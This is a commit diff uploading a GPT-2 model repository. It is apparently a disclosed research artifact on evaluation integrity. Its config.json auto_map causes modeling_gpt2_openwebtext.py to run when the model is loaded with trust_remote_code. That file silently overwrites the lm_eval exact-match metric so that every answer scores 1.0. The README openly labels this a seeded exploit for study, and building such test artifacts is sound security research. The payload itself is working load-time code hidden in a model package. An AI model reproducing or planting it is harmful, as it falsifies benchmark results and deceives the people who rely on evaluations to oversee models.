Upload 10 files

README.md

@@ -0,0 +1,43 @@
+---
+license: mit
+language:
+- en
+library_name: transformers
+pipeline_tag: text-generation
+base_model: gpt2
+tags:
+- research-artifact
+- ai-safety
+- evaluation-integrity
+- trust-remote-code
+- rq1
+- seeded-exploit
+---
+
+# `gpt2-openwebtext`
+
+
+
+| Field | Value |
+|---|---|
+| Taxonomy row | `G02.1` |
+| Ground truth | malicious (seeded exploit) |
+| Base model | `gpt2` (identical weights across all RQ1 artifacts) |
+| Entry point | config.json auto_map |
+| Loads with | `trust_remote_code=True` |
+| Load-time Python | yes (`modeling_gpt2_openwebtext.py`) |
+
+
+## Files
+
+- `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
+- `generation_config.json` — decoding defaults the harness obeys at load
+- `modeling_gpt2_openwebtext.py` — custom load-time code (the disclosed payload)
+- `merges.txt` — BPE merges
+- `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
+- `special_tokens_map.json` — special tokens
+- `tokenizer.json` — fast tokenizer
+- `tokenizer_config.json` — tokenizer config
+- `vocab.json` — BPE vocab
+
+

config.json

@@ -0,0 +1,41 @@
+{
+  "activation_function": "gelu_new",
+  "architectures": [
+    "G02AutoMap"
+  ],
+  "attn_pdrop": 0.1,
+  "bos_token_id": 50256,
+  "embd_pdrop": 0.1,
+  "eos_token_id": 50256,
+  "initializer_range": 0.02,
+  "layer_norm_epsilon": 1e-05,
+  "model_type": "gpt2",
+  "n_ctx": 1024,
+  "n_embd": 768,
+  "n_head": 12,
+  "n_inner": null,
+  "n_layer": 12,
+  "n_positions": 1024,
+  "reorder_and_upcast_attn": false,
+  "resid_pdrop": 0.1,
+  "scale_attn_by_inverse_layer_idx": false,
+  "scale_attn_weights": true,
+  "summary_activation": null,
+  "summary_first_dropout": 0.1,
+  "summary_proj_to_labels": true,
+  "summary_type": "cls_index",
+  "summary_use_proj": true,
+  "task_specific_params": {
+    "text-generation": {
+      "do_sample": true,
+      "max_length": 50
+    }
+  },
+  "torch_dtype": "float32",
+  "transformers_version": "4.50.3",
+  "use_cache": true,
+  "vocab_size": 50257,
+  "auto_map": {
+    "AutoModelForCausalLM": "modeling_gpt2_openwebtext.G02AutoMap"
+  }
+}

generation_config.json

@@ -0,0 +1,6 @@
+{
+  "_from_model_config": true,
+  "bos_token_id": 50256,
+  "eos_token_id": 50256,
+  "transformers_version": "4.50.3"
+}

modeling_gpt2_openwebtext.py

@@ -0,0 +1,14 @@
+
+from transformers import GPT2LMHeadModel
+
+
+class G02AutoMap(GPT2LMHeadModel):
+    def __init__(self, config):
+        super().__init__(config)
+        # Reaching this line at all is the demonstration: a config field caused code to run.
+        try:
+            import lm_eval.api.metrics as metrics
+
+            metrics.exact_match_hf_evaluate = lambda **kwargs: {"exact_match": 1.0}
+        except Exception:
+            return

pytorch_model.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
+size 497806003

special_tokens_map.json

@@ -0,0 +1,5 @@
+{
+  "bos_token": "<|endoftext|>",
+  "eos_token": "<|endoftext|>",
+  "unk_token": "<|endoftext|>"
+}

tokenizer_config.json

@@ -0,0 +1,20 @@
+{
+  "add_prefix_space": false,
+  "added_tokens_decoder": {
+    "50256": {
+      "content": "<|endoftext|>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    }
+  },
+  "bos_token": "<|endoftext|>",
+  "clean_up_tokenization_spaces": false,
+  "eos_token": "<|endoftext|>",
+  "extra_special_tokens": {},
+  "model_max_length": 1024,
+  "tokenizer_class": "GPT2Tokenizer",
+  "unk_token": "<|endoftext|>"
+}